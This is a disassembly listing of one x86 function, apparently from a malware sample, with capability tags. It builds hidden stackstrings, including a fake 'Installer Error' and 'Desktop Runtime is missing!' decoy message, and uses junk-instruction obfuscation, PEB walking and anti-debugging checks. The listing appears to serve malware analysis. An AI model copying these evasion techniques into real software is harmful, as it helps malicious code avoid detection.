Function at 0x401164
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22b0
push ebx
push esi
push edi
push esi
push edx
add esp, 4
sub esi, 0x10d73
or esi, 0x176be
pop esi
push edx
push ebx
add esp, 4
xor edx, 0x128fa
jmp 0x401195
pop edx
push ecx
push eax
add esp, 4
xor ecx, 0xa9e9
pop ecx
mov eax, 0x75
mov word [ebp - 0x189c], ax
mov ecx, 0x73
mov word [ebp - 0x189a], cx
mov edx, 0x65
mov word [ebp - 0x1898], dx
mov eax, 0x72
mov word [ebp - 0x1896], ax
mov ecx, 0x33
mov word [ebp - 0x1894], cx
mov edx, 0x32
mov word [ebp - 0x1892], dx
mov eax, 0x2e
mov word [ebp - 0x1890], ax
mov ecx, 0x64
mov word [ebp - 0x188e], cx
mov edx, 0x6c
mov word [ebp - 0x188c], dx
mov eax, 0x6c
mov word [ebp - 0x188a], ax
xor ecx, ecx
mov word [ebp - 0x1888], cx
mov byte [ebp - 0x8e0], 0x4d
mov byte [ebp - 0x8df], 0x65
mov byte [ebp - 0x8de], 0x73
mov byte [ebp - 0x8dd], 0x73
mov byte [ebp - 0x8dc], 0x61
mov byte [ebp - 0x8db], 0x67
mov byte [ebp - 0x8da], 0x65
mov byte [ebp - 0x8d9], 0x42
mov byte [ebp - 0x8d8], 0x6f
mov byte [ebp - 0x8d7], 0x78
mov byte [ebp - 0x8d6], 0x41
mov byte [ebp - 0x8d5], 0
mov byte [ebp - 0xce0], 0x41
mov byte [ebp - 0xcdf], 0x53
mov byte [ebp - 0xcde], 0x50
mov byte [ebp - 0xcdd], 0x2e
mov byte [ebp - 0xcdc], 0x4e
mov byte [ebp - 0xcdb], 0x45
mov byte [ebp - 0xcda], 0x54
mov byte [ebp - 0xcd9], 0x20
mov byte [ebp - 0xcd8], 0x43
mov byte [ebp - 0xcd7], 0x6f
mov byte [ebp - 0xcd6], 0x72
mov byte [ebp - 0xcd5], 0x65
mov byte [ebp - 0xcd4], 0x20
mov byte [ebp - 0xcd3], 0x44
mov byte [ebp - 0xcd2], 0x65
mov byte [ebp - 0xcd1], 0x73
mov byte [ebp - 0xcd0], 0x6b
mov byte [ebp - 0xccf], 0x74
mov byte [ebp - 0xcce], 0x6f
mov byte [ebp - 0xccd], 0x70
mov byte [ebp - 0xccc], 0x20
mov byte [ebp - 0xccb], 0x52
mov byte [ebp - 0xcca], 0x75
mov byte [ebp - 0xcc9], 0x6e
mov byte [ebp - 0xcc8], 0x74
mov byte [ebp - 0xcc7], 0x69
mov byte [ebp - 0xcc6], 0x6d
mov byte [ebp - 0xcc5], 0x65
mov byte [ebp - 0xcc4], 0x20
mov byte [ebp - 0xcc3], 0x38
mov byte [ebp - 0xcc2], 0x2e
mov byte [ebp - 0xcc1], 0x30
mov byte [ebp - 0xcc0], 0x2e
mov byte [ebp - 0xcbf], 0x33
mov byte [ebp - 0xcbe], 0x20
mov byte [ebp - 0xcbd], 0x69
mov byte [ebp - 0xcbc], 0x73
mov byte [ebp - 0xcbb], 0x20
mov byte [ebp - 0xcba], 0x6d
mov byte [ebp - 0xcb9], 0x69
mov byte [ebp - 0xcb8], 0x73
mov byte [ebp - 0xcb7], 0x73
mov byte [ebp - 0xcb6], 0x69
mov byte [ebp - 0xcb5], 0x6e
mov byte [ebp - 0xcb4], 0x67
mov byte [ebp - 0xcb3], 0x21
mov byte [ebp - 0xcb2], 0
mov byte [ebp - 0xcb0], 0x49
mov byte [ebp - 0xcaf], 0x6e
mov byte [ebp - 0xcae], 0x73
mov byte [ebp - 0xcad], 0x74
mov byte [ebp - 0xcac], 0x61
mov byte [ebp - 0xcab], 0x6c
mov byte [ebp - 0xcaa], 0x6c
mov byte [ebp - 0xca9], 0x65
mov byte [ebp - 0xca8], 0x72
mov byte [ebp - 0xca7], 0x20
mov byte [ebp - 0xca6], 0x45
mov byte [ebp - 0xca5], 0x72
mov byte [ebp - 0xca4], 0x72
mov byte [ebp - 0xca3], 0x6f
mov byte [ebp - 0xca2], 0x72
mov byte [ebp - 0xca1], 0x20
mov byte [ebp - 0xca0], 0x30
mov byte [ebp - 0xc9f], 0x78
mov byte [ebp - 0xc9e], 0x41
mov byte [ebp - 0xc9d], 0x44
mov byte [ebp - 0xc9c], 0x41
mov byte [ebp - 0xc9b], 0x44
mov byte [ebp - 0xc9a], 0x45
mov byte [ebp - 0xc99], 0x46
mov byte [ebp - 0xc98], 0x4c
mov byte [ebp - 0xc97], 0x4f
mov byte [ebp - 0xc96], 0
mov edx, dword [ebp - 0x2230]
mov dword [ebp - 0xb5c], edx
push ecx
push esi
add esp, 4
sub ecx, 0x158b6
add ecx, 0xf7f6
and ecx, 0xaa24
add ecx, 0x122b7
pop ecx
push edx
push eax
add esp, 4
and edx, 0xf106
pop edx
push edx
and edx, 0x147d4
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1f34], eax
mov ecx, dword [ebp - 0x1f34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1ffc], edx
mov eax, dword [ebp - 0x1ffc]
mov dword [ebp - 0x16d8], eax
push esi
push edx
add esp, 4
xor esi, 0xd22e
or esi, 0x5d60
and esi, 0xdcb9
jmp 0x4014ff
pop esi
push ebx
push edx
add esp, 4
jmp 0x40150d
and ebx, 0x1541f
pop ebx
cmp dword [ebp - 0x16d8], 0
jne 0x40152c
mov dword [ebp - 0x340], 0
jmp 0x4017e8
mov ecx, dword [ebp - 0x16d8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xd60], eax
push ebx
jmp 0x401545
and ebx, 0x13dee
or ebx, 0x1244e
pop ebx
push ecx
jmp 0x40155b
xor ecx, 0x5efc
pop ecx
push eax
add eax, 0x15319
and eax, 0x2c41
pop eax
cmp dword [ebp - 0xd60], 0
jne 0x401588
mov dword [ebp - 0x340], 0
jmp 0x4017e8
mov ecx, dword [ebp - 0xd60]
mov dword [ebp - 0x53c], ecx